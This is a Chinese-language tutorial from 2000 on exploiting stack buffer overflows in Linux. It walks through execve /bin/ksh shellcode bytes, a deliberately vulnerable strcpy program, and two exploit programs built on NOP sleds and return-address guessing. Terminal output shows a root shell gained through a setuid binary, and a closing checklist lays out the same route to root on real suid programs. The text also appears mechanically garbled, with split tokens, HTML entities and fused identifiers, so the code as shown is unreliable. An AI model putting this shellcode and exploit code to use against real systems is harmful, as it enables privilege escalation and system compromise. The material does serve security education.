
shellcode技術探討續二
發布日期: 2000- 1-25
內容:
------------- ------------------------------ ------------------------------ -------
來源:<
> ;
概述:
本文給出 一個完整的利用緩沖區溢出取得root shell的
示例,只要你照著步驟一步步下來,就不會覺得它的神秘,
而我的意圖正在于此。如果看不明白什么地方,可以在這里< br>提問,mail to: ,或者到綠色兵團的
Unix安全論壇上提問,tt在那里。水木清華97年以前就 大范
圍高水平討論過緩沖區溢出,你沒趕上只能怪自己 生不逢時。
測試:
RedH at 6.0/Intel PII
目錄:
1.先來看一次緩沖區溢出
2.研 究這個溢出
3.修改代碼加強理解
4. 進一步修改代碼
5.還想到什么
6. 堆棧可執行
7.一個會被緩沖區溢出攻擊的程序例 子
8.利用緩沖區溢出取得shell
9.分析取得shell失敗的原因
10. 危險究 在于什么
11. 待溢出緩沖區不足以容納shel lcode時該如何溢出
12. 總結與思考
1. 先來看一次緩沖區溢出
vi sh elltest.c
/* 這是原來的shell code */
/*
char shellcod e[] =
"
\xeb\x1f\x5e \x89\x76\x08\x31\xc0\x88\x46\x 07\x89\x46\x0c\xb0\x0b"
< br>"
\x89\xf3\x8d\x4e\x0 8\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
&q uot;
\x80\xe8\xdc\xff\xff\xff/b in/sh"
;
*/
/* 這是我們昨天自己得到的shellcode */
cha r shellcode[] =
"
\x eb\x1f\x5e\x89\x76\x09\x31\xc0 \x88\x46\x08\x89\x46\x0d\xb0\x 0b"
"
\x89\xf3\x 8d\x4e\x09\x8d\x56\x0d\xcd\x80 \x31\xdb\x89\xd8\x40\xcd"
"
\x80\xe8\xdc\xff\x ff\xff/bin/ksh"
;
c har large_string[128];
int main ()
{
char buffer[96];
inti;
long * long_ptr = ( long * ) large_string;
for ( i = 0;
i <
32;
i++ )
{
/* 用buffer地址一路填寫large _string,一個指針占用4個字節 */
* ( long_ptr + i ) = ( int )buff er;
}
for ( i = 0;
i <
strlen( shellcode );
i++ )
{
large_string [ i ] = shellcode[ i ];
}
/* 這個語句導致main()的返回地址被修改指 向buffer */
strcpy( buffer , large_string );
}
gcc -o shelltest shelltest.c./shelltest
exit
這 個程序所做的是,在large_string中填入buffer 的地址,并把shell代碼
放到large_stri ng的前面部分。然后將large_string拷貝到buff er中,造成它溢
出,使返回地址變為buffer,而 buffer的內容為shell代碼。這樣當程序試圖從
main()中返回時,就會轉而執行shell。
< br>scz注:原文有誤,不是試圖從strcpy()返回,而 是試圖從main()返回,必須
區別這兩種說法 。
2. 研究這個溢出
在she llcode后面大量追加buffer指針,這是程序的關鍵所在 ,只有這樣才能
使得buffer指針覆蓋返回地址。其次 ,返回地址是四字節四字節來的,所以
在程序中出現的12 8和96不是隨便寫的數字,這些4的整數倍的數字保證了
在strcpy()調用中能恰好對齊位置地覆蓋掉返回地址,否則 前后一錯位就
不是那么回事情了。
要理解 程序的另外一個關鍵在于,堆是位于代碼下方棧上方的。所以buf fer
的溢出只會朝棧底方向前進,并不會覆蓋掉main ()函數本身的代碼,也是附和
操作系統代碼段只讀要求的 。不要錯誤地懷疑main()函數結束處的ret語句會
被覆蓋,切記這點。很多閱讀該程序的兄弟錯誤地認為buffer 位于代碼段中,
于是一路覆蓋下來破壞了代碼本身,昏倒。
3. 修改代碼加強理解
我們先 只做一個修改:
for ( i = 0;
i <
32;
i++ )
{
/* 用shellcode地址一路填寫large_str ing,一個指針占用4個字節 */
*( lo ng_ptr + i ) = ( int )shellcod e;
}
返回地址被覆蓋成shell code指針,同樣達到了取得shell的效果。
4. 進一步修改代碼
char shellc ode[] =
"
\xeb\x1f\x 5e\x89\x76\x09\x31\xc0\x88\x46 \x08\x89\x46\x0d\xb0\x0b"
"
\x89\xf3\x8d\x4e\x 09\x8d\x56\x0d\xcd\x80\x31\xdb \x89\xd8\x40\xcd"
&q uot;
\x80\xe8\xdc\xff\xff\xff/b in/ksh"
;
char larg e_string[128];
int mai n ()
{
char buffer[9 6];
inti;
long * long_ptr = ( long * )large_st ring;
for ( i = 0;
i <
32;
i++ )
{
/* 用shellcode地址一路填寫large_stri ng,一個指針占用4個字節 */
*( lon g_ptr + i ) = ( int )shellcode ;
}
/* 這個語句導致main()的 返回地址被修改指向buffer */
strcpy ( buffer, large_string );
}
啊哈,還是達到了效果。完全沒有必要把shel lcode拷貝到buffer中來嘛,定義
buffer 的作用就是利用獲得堆指針進而向棧底進行覆蓋,達到覆蓋返回 地址
的效果。
5. 還想到什么
既然buffer本身一錢不值,為什么要定義那么大,縮 小它!
char shellcode[] =
"
\xeb\x1f\x5e\x89\x 76\x09\x31\xc0\x88\x46\x08\x89 \x46\x0d\xb0\x0b"
&q uot;
\x89\xf3\x8d\x4e\x09\x8d\x 56\x0d\xcd\x80\x31\xdb\x89\xd8 \x40\xcd"
"
\x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
;
char large_string [12];
/* 修改 */
int main ()
{
char buffer[4] ;
/* 修改 */
inti;
long * long_ptr = ( long * )la rge_string;
for ( i = 0;
i <
3;
i++ )/* 修改 */< br>{
/* 用shellcode地址一 路填寫large_string,一個指針占用4個字節 */< br>*( long_ptr + i ) = ( i nt )shellcode;
}
/* 這個語句導致main()的返回地址被修改指向buffer * /
strcpy( buffer, large_s tring );
}
打住,再修改就失去 研究的意義了。
6. 堆棧可執行
在這里我們需要解釋一個概念,什么叫堆棧可執行。
按照 上述第1條目中給出的代碼,實際上shellcode進入了堆區 甚至棧區,
終被執行的是堆棧中的數據,所謂堆棧可執行 ,大概是說允許堆棧中
的數據被作為指令執行。之所以用大 概這個詞,因為我自己對保護模式
匯編語言不熟悉,不了解 具體細節,請熟悉的兄弟再指點。許多操作系
統可以設置系 統參數禁止把堆棧中的數據作為指令執行,比如solaris中可以在/etc/system中設置:
* Foil certain classes of bug e xploits
set noexec_user_sta ck = 1
* Log attempted exploits
set noexec_user_st ack_log = 1
Linux下如何禁止堆 棧可執行我也沒仔細看過相關文檔,誰知道誰就說
一聲吧。
按照上述第3條目及其以后各條目給出的代碼,實 際上執行了位于數據段
.data中的shellcode 。我不知道做了禁止堆棧可執行設置之后,能否阻止
數據段 可執行?誰了解保護模式匯編,給咱們講講。
即使 這些都被禁止了,也可以在代碼段中嵌入shellcode,代碼 段中的
shellcode是一定會被執行的。
< br>可是,上面的討論忽略了一個重要前提,我們要溢出別人的函 數,而
不是有源代碼供你修改的自己的函數。在這個前提下 ,我們可能利用的
就是種方式了,明白?
< br>7. 一個會被緩沖區溢出攻擊的程序例子
我們僅僅明白了如何利用緩沖區溢出修改函數的返回地址而已。可前 面修改的
是我們自己的main()函數返回地址,沒有用 。仔細想想,如果執行一個suid了
的程序,該程序的m ain()函數實現中有下述代碼:
/* gcc -o overflow overflow.c */
int main ( int argc, char * ar gv[] )
{
char buffer[ 16 ] = "
"
;
if ( argc >
1 )
{
strcpy( buffer, argv[1] );
puts( buffer );
}
else
{
puts( &qu ot;
Argv[1] needed!"
);
}
return 0;
}
[scz@ /home/scz/src]>
./o verflow 0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]>
./overflow 0123456789abcdefghij
012345 6789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]>
./overflow 0123456789abcdefghijk
01234 56789abcdefghijk
BUG IN DYN AMIC LINKER ld.so: dl-runtime. c: 61: fixup: Assertion `((rel oc->
r_info) & 0xff) == 7 9;
failed!
[scz@ /home/scz/ src]>
./overflow 0123456789 abcdefghijkl
0123456789abcd efghijkl
Segmentation fault (core dumped)
[scz@ /home/ scz/src]>
gdb overflow
G NU gdb 4.17.0.11 with Linux su pport
This GDB was configur ed as "
i386-redhat-linux& quot;
..
(gdb) target core c ore <
-- -- -- 調入core文件
Core was generated by `./overf low 0123456789abcdefghijkl' ;
.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/ libc.so.6...done.
Reading s ymbols from /lib/ld-linux.so.2 ...done.
#00x40006c79 in _ dl_load_cache_lookup (name=Can not access memory at address 0 x6a69686f.
) at ../sysdeps/ generic/dl-cache.c:202
../s ysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach <
-- -- -- 卸掉 core文件
No core file now.
(gdb)
8. 利用緩沖區溢出取得she ll
/* gcc -o overflow_e x overflow_ex.c */
#def ine BUFFER_SIZE256
#defin e DEFAULT_OFFSET 64
uns igned long get_esp ()
{
__asm__
("
movl %esp, %eax
"
);
}
int main ( int a rgc, char * argv[] )
{
< br>char shellcode[] =
"
\xeb\x1f\x5e\x89\x76\x 09\x31\xc0\x88\x46\x08\x89\x46 \x0d\xb0\x0b"
&quo t;
\x89\xf3\x8d\x4e\x09\x8d\x56 \x0d\xcd\x80\x31\xdb\x89\xd8\x 40\xcd"
"
\x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
;
char *buff er = 0;
unsigned long * pAddress = 0;
char * pChar= 0;
int i;
int offset = DEF AULT_OFFSET;
buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
if ( buffer = = 0 )
{
puts( &quo t;
Can'
t allocate memory&qu ot;
);
exit( 0 );
}
pChar = buffer;
/ * fill start of buffer with no ps */
memset( pChar, 0x90 , BUFFER_SIZE - strlen( shellc ode ) );
pChar += ( BUFFE R_SIZE - strlen( shellcode ) ) ;
/* stick asm code into the buffer */
for ( i = 0;
i <
strlen( shellcode ) ;
i++ )
{
*( pChar ++ ) = shellcode[ i ];
}< br>pAddress = ( unsigned lon g * )pChar;
for ( i = 0 ;
i <
( BUFFER_SIZE / 4 );
i ++ )
{
*( pAddress ++ ) = get_esp() + offset;
}
pChar= ( char * )pAd dress;
*pChar = 0;
execl( "
/home/scz/src/ove rflow"
, "
/home/scz/s rc/overflow"
, buffer, 0 ) ;
return 0;
}
程 序中get_esp()函數的作用就是定位堆棧位置。首先分配一 塊內存buffer,然后在buffer的前面部分
填滿 NOP,后面部分放shellcode。后部分是希望程序返回 的地址,由棧頂指針加偏移得到。當以buffer
為參數 調用overflow時,將造成overflow程序的緩沖區溢 出,其緩沖區被buffer覆蓋,而返回地址將指向
NO P指令。
[scz@ /home/scz/sr c]>
gcc -o overflow_ex over flow_ex.c
[scz@ /home/scz/s rc]>
./overflow_ex
... . ..
.../bin/ksh...
... .. .
Segmentation fault (core dumped)
[scz@ /home/scz/src ]>
失敗,雖然發生了溢出,卻沒有取得 可以使用的shell。
9. 分析取得shel l失敗的原因
條目7中給出的源代碼表明over flow.c只提供了16個字節的緩沖區,
按照我們前面 討論的溢出技術,overflow_ex導致overflow的 main()函數的返回地址被0x90覆蓋,
沒有足夠空 間存放shellcode。
讓我們對overf low.c做一點小小的調整以遷就overflow_ex.c的 成功運行:
old:char buffer [ 16 ] = "
"
;
new: char buffer[ 256 ] = "
& quot;
;
[scz@ /home/scz/ src]>
./overflow_ex
... ... <
-- -- -- NOP指令的漢字顯示.../bin/ksh...
... ... &l t;
-- -- -- 返回地址的漢字顯示
$ exi t <
-- -- -- 取得了shell
[s cz@ /home/scz/src]>
10. 危險究在于什么
假設曾經發生過這樣 的操作:
[root@ /home/scz/s rc]>
chown root.root overfl ow
[root@ /home/scz/src]> ;
chmod +s overflow
[root@ /home/scz/src]>
ls -l overf low
-rwsr-sr-x 1 root ro ot overflow
[root@ /home/sc z/src]>
好了,麻煩就是這樣開始的 :
[scz@ /home/scz/src]& gt;
./overflow_ex
... ... & lt;
-- -- -- NOP指令的漢字顯示
... /bin/ksh...
... ... <
-- -- -- 返回地址的漢字顯示
# id <
-- -- -- 你得到了root shell,看看你是誰吧
uid=500(scz) gid=100(users ) euid=0(root) egid=0(root) gr oups=100(users)
~~~~~~~~~~~~~~~~~~~~~~~~~ 昏 倒
# exit
[scz@ /home/scz /src]>
id
uid=500(scz) g id=100(users) groups=100(users )
[scz@ /home/scz/src]>
至此你應該明白如何書寫自己的shellcod e,如何辨別一個shellcode是否
真正是在提供s hell而不是木馬,什么是緩沖區溢出,究如何利用緩沖區溢出,什么情況下的緩沖區溢出對攻擊者非常有利,suid/ sgid程序的危險
性等等。于是你也明白了,為什么某些 exploit出來之后如果沒有補丁,
一般都建議你先c hmod -s,沒有什么奇怪,雖然取得shell,但不是root shell而已。
11. 待溢出 緩沖區不足以容納shellcode時該如何溢出
vi overflow.c
/* gcc - o overflow overflow.c */
in t main ( int argc, char * argv [] )
{
char buffer[ 9 ] = "
"
;
if ( a rgc >
1 )
{
str cpy( buffer, argv[1] );
puts( buffer );
}
e lse
{
puts( "
Argv[1] needed!"
);
}
return 0;
}
- ------------------------------ --------
vi overflow_ex .c
/* gcc -o overflow_e x overflow_ex.c */
#def ine BUFFER_SIZE256
/* 取棧基指針 */
unsigned long get _ebp ()
{
__asm__
("
movl %ebp, %e ax
"
);
}
int main ( int argc, char * ar gv[] )
{
char shel lcode[] =
"
\xeb\x 1f\x5e\x89\x76\x09\x31\xc0\x88 \x46\x08\x89\x46\x0d\xb0\x0b&q uot;
"
\x89\xf3\x8d \x4e\x09\x8d\x56\x0d\xcd\x80\x 31\xdb\x89\xd8\x40\xcd"
"
\x80\xe8\xdc\xff\x ff\xff/bin/ksh"
;
char *buffer = 0;
unsigned long * pAddress = 0;
char *pChar= 0;
int i;
buf fer = ( char * )malloc( BUFFER _SIZE * 2 + 1 );
if ( buf fer == 0 )
{
puts( "
Can'
t allocate memo ry"
);
exit( 0 );
< br>}
pAddress = ( unsi gned long * )buffer;
for ( i = 0 ;
i <
( BUFFER_SIZE / 4 );
i++ )
{
*( pAddress++ ) = get_ebp() + BU FFER_SIZE;
}
pChar = buffer + BUFFER_SIZE;
/* fill start of buffer with nop s */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellco de ) );
pChar += ( BUFFER _SIZE - strlen( shellcode ) );
/* stick asm code into the buffer */
for ( i = 0;
i <
strlen( shellcode );
i++ )
{
*( pChar+ + ) = shellcode[ i ];
}*pChar = 0;
execl( & quot;
/home/scz/src/overflow&qu ot;
, "
/home/scz/src/overf low"
, buffer, 0 );
r eturn 0;
}
[scz@ /ho me/scz/src]>
./overflow_ex< br>... ... <
-- -- -- 返回地址的 漢字顯示
... ... <
-- -- -- NOP指令的漢字顯示
.../bin/ksh... & lt;
-- -- -- shellcode的漢字顯示
$ exit <
-- -- -- 溢出成功,取得s hell
[scz@ /home/scz/src]&g t;
warning3注:對于簡單的弱點程序, 這種方法是可行的.不過如果問題
函數有很多參數,并且這 些參數在strcpy()之后還要使用的話,這種方
法就 很難成功了.
例如:
vulnerable_fu nc(arg1,arg2,arg3)
{
cha r *buffer[16];
...
strcp y(buffer,arg1);
...
othe r_func(arg2);
...
other_ func(arg3);
...
}
如果直 接覆蓋,就會導致arg1,arg2,arg3也被覆蓋,函數就 可能不能正常返回.
Aleph1的辦法是將sh ellcode放到環境變量里傳遞給有弱點的函數,用環境變量< br>的地址做為返回地址,這樣我們可以只用24個字節的buf fer來覆蓋掉返回地址,
而不需要改動參數.
< br>12. 總結與思考
上面這些例子本身 很簡單,完全不同于那些端復雜的溢出例子。但無論多么
復雜,其基本原理是一樣的。要完成取得root shell 的緩沖區攻擊:
a. 有一個可以發生溢出的 可執行程序,各種Mail List會不斷報告新發現的可供 攻擊的程序;自己也可以通過某些低級調試手段獲知程 序中是否存在容易發生
溢出的函數調用,這些調試 手段不屬于今天講解范疇,以后再提。
b. 該程序是 root的suid程序,用ls -l確認。
c. 普通用戶有適當的權限運行該程序。
d. 編寫合理的 溢出攻擊程序,shellcode可以從以前成功使用過的例子中 提取。
e. 要合理調整溢出程序,尋找(或者說探測 )main()函數的返回地址存放點,找到
它并 用自己的shellcode地址覆蓋它;這可能需要很大的耐心和 毅力。
從這些簡單的示例中看出,為了得到一 個可成功運行的exploit,攻擊者們付出過太
多 心血,每一種技術的產生和應用都是各種知識長期積累、自己不斷總 結、大家群策
群力的結果,如果認為了解幾個現成的b ug就可以如何如何,那是種悲哀。
后記:
顛峰時刻的水木清華的確不是其他站點可以大范圍 越的,盡管在某些個別版面上
存在著分庭抗禮。如果你 想了解系統安全,應該從水木清華 Hacker 版98.6以前 的
所有精華區打包文件開始,那些舊日的討論和技術文 章在現在看來也值得初學者仔
細研讀。
文章的宗旨并不是教你進行實際破壞,但你掌握了這種技術, 或者退一步,了解過這
種技術,對于狂熱愛好計算機技 術的你來說,不是什么壞事。也許在討論它們的時候,
某些人企圖阻止過你了解它們,或者當你想了解它們的時候,有人給 你帶來過不愉快
的感受,忘記這些人,just do it! 只是你還應該明白一些事實,看過<
<
這個 殺手不
太冷>
>
沒有,no child ren、no women,我想說的不是這個,但你應該明白我想 說什么。
Good luck for you.< br>